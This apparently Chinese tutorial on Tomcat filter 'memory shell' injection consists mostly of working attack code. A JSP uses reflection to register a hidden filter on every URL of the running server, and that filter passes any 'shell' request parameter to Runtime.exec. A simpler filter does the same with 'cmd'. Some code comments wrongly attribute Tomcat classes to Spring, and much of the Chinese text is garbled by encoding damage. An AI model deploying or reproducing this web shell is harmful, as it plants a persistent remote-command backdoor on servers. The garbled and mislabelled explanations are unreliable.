<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.38</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.38</version>
</dependency>

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執(zhí)行過(guò)濾功能");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("cmd"));
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
}

<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/MyFilter</url-pattern>
</filter-mapping>

FilterDefs：存放 FilterDef 的數(shù)組 ，F(xiàn)ilterDef 中存儲(chǔ)著我們過(guò)濾器名，過(guò)濾器實(shí)例
等基本信息
FilterConfigs：存放 filterConfig 的數(shù)組，在 FilterConfig 中主要存放 FilterDef 和
Filter 對(duì)象等信息
FilterMaps：存放 FilterMap 的數(shù)組，在 FilterMap 中主要存放了 FilterName 和 對(duì)
應(yīng)的 URLPattern

ServletContext：
javax.servlet.ServletContextServlet規(guī)范中規(guī)定了的一個(gè)ServletContext接口，提供了Web應(yīng)用所有Servlet的視圖，通過(guò)它可以對(duì)某個(gè)Web應(yīng)用的各種資源和功能進(jìn)行訪問(wèn)。WEB容器在啟動(dòng)時(shí)，它會(huì)為每個(gè)Web應(yīng)用程序都創(chuàng)建一個(gè)對(duì)應(yīng)的ServletContext，它代表當(dāng)前Web應(yīng)用。并且它被所有客戶端共享。 

ApplicationContext：
org.apache.catalina.core.ApplicationContext
對(duì)應(yīng)Tomcat容器，為了滿足Servlet規(guī)范，必須包含一個(gè)ServletContext接口的實(shí)現(xiàn)。Tomcat的Context容器中都會(huì)包含一個(gè)ApplicationContext。

StandardContext：
Catalina主要包括Connector和Container，StandardContext就是一個(gè)Container，它主要負(fù)責(zé)對(duì)進(jìn)入的用戶請(qǐng)求進(jìn)行處理。實(shí)際來(lái)說(shuō)，不是由它來(lái)進(jìn)行處理，而是交給內(nèi)部的valve處理。
一個(gè)context表示了一個(gè)外部應(yīng)用，它包含多個(gè)wrapper，每個(gè)wrapper表示一個(gè)servlet定義。（Tomcat 默認(rèn)的 Service 服務(wù)是 Catalina）

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//請(qǐng)求對(duì)象 request 中獲取 ServletContext 對(duì)象。
ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一個(gè)類，用于封裝 Spring 的 Web 應(yīng)用程序上下文。
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通過(guò)反射獲取上下文
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);


// context 字段，即 Spring 的應(yīng)用程序上下文對(duì)象。通過(guò)反射獲取到該字段的值，它被強(qiáng)制轉(zhuǎn)換為 ApplicationContext 類型
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//從 ApplicationContext 類中獲取一個(gè)名為 "context" 的私有字段。這個(gè)字段存儲(chǔ)了實(shí)際的 Spring 應(yīng)用程序上下文對(duì)象
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//類型轉(zhuǎn)換standardContext，標(biāo)準(zhǔn)的web應(yīng)用程序上下文
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//創(chuàng)建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
//構(gòu)造filter對(duì)象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}


@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("執(zhí)行過(guò)濾");
}


@Override
public void destroy() {
}
};
//構(gòu)造filterDef對(duì)象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//將過(guò)濾器的配置信息添加到應(yīng)用程序上下文中
standardContext.addFilterDef(filterDef);


//構(gòu)造filterMap對(duì)象
FilterMap filterMap = new FilterMap();
//添加映射的路由為所有請(qǐng)求
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//將上述設(shè)置好的過(guò)濾器映射對(duì)象添加到 StandardContext 中，并將其插入到已有的過(guò)濾器映射之前
standardContext.addFilterMapBefore(filterMap);


//構(gòu)造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//將filterConfig添加到filterConfigs中，即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>